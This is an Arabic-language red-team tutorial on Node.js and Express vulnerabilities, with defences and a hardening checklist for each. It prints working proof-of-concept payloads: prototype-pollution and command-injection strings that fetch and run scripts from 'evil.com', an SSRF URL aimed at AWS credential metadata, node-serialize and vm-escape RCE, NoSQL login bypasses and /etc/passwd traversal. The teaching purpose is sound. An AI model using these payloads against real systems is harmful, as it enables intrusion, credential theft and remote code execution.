الفرق الحمراء — الهجومخبير110mL67

أمن Node.js و Express — استغلال متقدم

Prototype pollution, SSRF, deserialization, RCE في الـ middleware

#Node.js#Express#Prototype Pollution#SSRF#RCE

لماذا Node.js مختلف عن PHP/Java أمنياً

Node.js يشغّل JavaScript على الخادم. JavaScript لغة دينامية للغاية — كل object قابل للتعديل، كل property قابلة للتجاوز. هذا يفتح فئات هجمات لا توجد في Java أو Go: prototype pollution، NoSQL injection، التلاعب بالـ require()، الـ deserialization عبر JSON.

تشبيه — شرح مبسط
كمنزل ذكي حيث كل جدار قابل للحركة. مرونة عظيمة، لكن لو عرف الزائر كيف يحرّك الجدران، يصل لكل غرفة. Java كمبنى من الإسمنت — أصعب اختراقاً، أصعب تطويراً.
تحذير قانوني
كل أمثلة الاستغلال أدناه للتدريب في مختبرك أو في pentest مصرّح به. تطبيقها على نظام إنتاج لا تملكه = جريمة CFAA.

Prototype Pollution — أم الثغرات في Node

كل object في JS يرث من Object.prototype. لو استطاع المهاجم كتابة property على هذا الـ prototype، فهي تظهر على كل object في الـ process. النتائج تتدرّج من DoS إلى RCE.

javascript
// كود ضعيف — merge عميق ساذج (مثل lodash.merge قبل الإصلاح)
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// المهاجم يرسل JSON
app.post('/api/profile', (req, res) => {
  merge({}, req.body);   // <-- !!
  res.send('ok');
});

// payload
{
  "__proto__": {
    "isAdmin": true,
    "shell": "/bin/sh -c 'curl evil.com|bash'"
  }
}

// بعد هذا، {} في أي مكان في التطبيق يحوي isAdmin === true
من DoS إلى RCE
  • DoS — اكتب __proto__.toString = null → كل String(x) ينهار.
  • Auth bypass — اكتب isAdmin: true → كل user object يصبح admin.
  • RCE — لو التطبيق يستخدم child_process.spawn مع {shell: true} و options object يأتي من merge، استخدم __proto__.shell للتحكّم في shell command.
  • RCE عبر Express — Express يستخدم res.render(view, locals). تلوّث __proto__.outputFunctionName في bug شهير في pug/handlebars يعطي RCE.
javascript
// CVE-2019-10744 (lodash) — مثال PoC للـ RCE عبر pug
fetch('/api/profile', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    "__proto__": {
      "block": {
        "type": "Text",
        "line": "process.mainModule.require('child_process').exec('curl evil.com/x.sh|sh')"
      }
    }
  })
});
الدفاع
  • استخدم Object.create(null) للـ maps المفتوحة من user input.
  • افحص keys: ارفض __proto__، constructor، prototype.
  • استخدم Map بدل plain objects لـ user-keyed data.
  • --disable-proto=delete flag في Node 20+.
  • حدّث lodash, jQuery, Hoek, set-value — كلها كان لها CVEs.

SSRF عبر axios / node-fetch / undici

طلب HTTP من الخادم لـ URL يتحكّم به user = SSRF. لكن في Node ميزتان خطرتان: redirect handling تلقائي + DNS rebinding يصلان إلى cloud metadata.

javascript
// كود خطر
app.get('/fetch-image', async (req, res) => {
  const r = await axios.get(req.query.url, {responseType: 'stream'});
  r.data.pipe(res);
});

// PoC للوصول لـ AWS IMDS من خلال عدم فحص hostname
GET /fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

// أو DNS rebinding — يخدم 1.1.1.1 ثم يتغيّر للـ 169.254.169.254
GET /fetch-image?url=http://rebind.evil.com/latest/...

// أو URL parser confusion (Node URL vs WHATWG URL)
GET /fetch-image?url=http://attacker.com#@169.254.169.254/
javascript
// الدفاع — allowlist + IP literal check + DNS resolve يدوي
import dns from 'dns/promises';
import ipaddr from 'ipaddr.js';

async function safeFetch(url) {
  const u = new URL(url);
  if (!['http:', 'https:'].includes(u.protocol)) throw new Error('proto');
  const addrs = await dns.resolve(u.hostname);
  for (const a of addrs) {
    const range = ipaddr.parse(a).range();
    if (range !== 'unicast') throw new Error('private/special IP');
    if (a.startsWith('169.254.') || a.startsWith('127.') || a.startsWith('10.')) throw new Error('blocked');
  }
  // Pin DNS — احكم على الـ IP و مرّره مباشرة
  return axios.get(url, { lookup: (h, opts, cb) => cb(null, addrs[0], 4) });
}

Command Injection عبر child_process

javascript
// خطر — exec مع user input
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
  exec(`ping -c 4 ${req.query.host}`, (err, out) => res.send(out));
});

// PoC
GET /ping?host=8.8.8.8;curl%20evil.com/x.sh|sh

// أيضاً خطر — execFile مع shell:true
execFile('sh', ['-c', `echo ${req.query.x}`]);   // injection

// آمن — execFile بدون shell + arguments array
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', '--', host], (err, out) => ...);
// لاحظ '--' لمنع flag injection
فخ شائع
spawn(cmd, args, {shell: true}) يعيد injection. القاعدة: shell: false دائماً + args array + -- لقطع flags.

Deserialization عبر JSON و serialize-javascript

JSON.parse آمن. لكن مكتبات أخرى تنفّذ كود:

  • node-serializeunserialize() يقبل _$$ND_FUNC$$_ markers و ينفّذ JS. مهجور لكن لا يزال في كثير من الأنظمة.
  • js-yamlyaml.load() القديم يدعم !!js/function. استخدم yaml.safeLoad أو load(s, {schema: FAILSAFE_SCHEMA}).
  • serialize-javascript CVE-2020-7660 — XSS عبر regex.
  • vm module — ليس sandbox. this.constructor.constructor("return process")() يهرب.
javascript
// node-serialize PoC
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', (e,o)=>console.log(o))}()"}

// vm escape
const vm = require('vm');
const sandbox = {};
vm.runInNewContext(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()`, sandbox);
// → uid=0(root)

// آمن — استخدم isolated-vm إن احتجت sandbox فعلي
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({memoryLimit: 8});

NoSQL Injection — MongoDB

javascript
// خطر — body parsed يحوي operators
app.post('/login', async (req, res) => {
  const user = await User.findOne({ name: req.body.name, pass: req.body.pass });
  if (user) res.send('ok');
});

// المهاجم يرسل JSON
{"name": "admin", "pass": {"$ne": null}}
// $ne null = أي pass != null = bypass

// أخطر
{"name": {"$gt": ""}, "pass": {"$gt": ""}}   // أول user

// JS injection في $where
{"$where": "this.name == 'admin' && sleep(5000)"}   // blind oracle

// الدفاع
import mongoSanitize from 'express-mongo-sanitize';
app.use(mongoSanitize({ replaceWith: '_' }));

// أو schema strict
const user = await User.findOne({
  name: String(req.body.name),
  pass: String(req.body.pass)
});

Path Traversal و File Disclosure

javascript
// خطر
app.get('/files/:name', (req, res) => {
  res.sendFile(path.join(__dirname, 'uploads', req.params.name));
});

// PoC
GET /files/..%2f..%2f..%2fetc%2fpasswd
GET /files/..%252f..%252f   # double-encode إذا كان هناك decode مرتين

// عبر symlinks
GET /files/symlink_to_root

// الدفاع
const safe = path.normalize(req.params.name).replace(/^(\.\.[\/\\])+/, '');
const full = path.join(__dirname, 'uploads', safe);
if (!full.startsWith(path.resolve(__dirname, 'uploads') + path.sep)) {
  return res.status(403).end();
}
// + fs.realpath لكشف symlinks
const real = await fs.promises.realpath(full);
if (!real.startsWith(uploadsRoot)) return res.status(403).end();

Express-specific traps

  • express.static + viewEngine — لو static prefix يصل إلى مجلد templates، tampering ممكن.
  • req.query parsing — Express يستخدم qs الذي يدعم arrays و nested objects: ?a[]=1&a[]=2. كود يفترض string قد ينكسر.
  • HPP (HTTP Parameter Pollution)?id=1&id=2 يصبح array. استخدم hpp middleware.
  • Trust proxy misconfigapp.set('trust proxy', true) الكامل يجعل المهاجم يزوّر X-Forwarded-For و يتجاوز rate limits / IP allowlists.
  • Open redirectres.redirect(req.query.next) دون فحص. اقفل على paths نسبية.
  • Body size — لا حد افتراضي على JSON body ضخم في بعض إعدادات. ضع express.json({ limit: '100kb' }).

Supply chain — npm كسلاح

  • Typosquattingexpresss, colorss, crossenv.
  • Dependency confusion — حزمة internal باسم مطابق على npm العام.
  • Compromised maintainer — event-stream (2018), ua-parser-js (2021), node-ipc (2022 protestware).
  • postinstall scripts — تنفّذ تلقائياً عند npm install. خاصة على CI.
bash
# الدفاع
npm config set ignore-scripts true            # امنع postinstall افتراضياً
npm install --ignore-scripts <pkg>
npm audit && npm audit fix
npm ls --all                                  # شجرة كاملة
npx better-npm-audit                          # تجاهل CVEs بـ justification

# Lockfile lint
npx lockfile-lint --type npm --path package-lock.json \
  --validate-https --allowed-hosts npm

# Socket.dev / Snyk / GitHub Dependabot
# Sigstore + npm provenance — توقيع الحزم رسمياً (npm publish --provenance)

تحصين Express — قائمة عملية

javascript
import express from 'express';
import helmet from 'helmet';
import rateLimit from 'express-rate-limit';
import mongoSanitize from 'express-mongo-sanitize';
import hpp from 'hpp';

const app = express();
app.disable('x-powered-by');                     // لا تكشف Express
app.set('trust proxy', 1);                       // فقط reverse proxy واحد
app.use(helmet());                               // CSP/HSTS/XSS-Protection
app.use(express.json({ limit: '100kb' }));
app.use(mongoSanitize({ replaceWith: '_' }));
app.use(hpp());
app.use(rateLimit({ windowMs: 60_000, max: 100 }));

// CSP صارم
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-{{nonce}}'"],   // لا 'unsafe-inline'
    objectSrc: ["'none'"],
    frameAncestors: ["'none'"],
    upgradeInsecureRequests: []
  }
}));

// Cookie آمنة
app.use(session({
  secret: process.env.SECRET,
  cookie: { httpOnly: true, secure: true, sameSite: 'strict' }
}));

أدوات الفحص

  • npm audit / pnpm audit — أوّل خط.
  • Semgrep مع p/javascript و p/nodejs ruleset — يكشف eval, child_process, prototype pollution sinks.
  • CodeQL — أعمق analysis، query suite للـ JS.
  • NodeJsScan — فحص ثابت سريع.
  • Burp Suite + prototype-pollution-finder extension.
  • OWASP ZAP + active scanner للـ NoSQLi.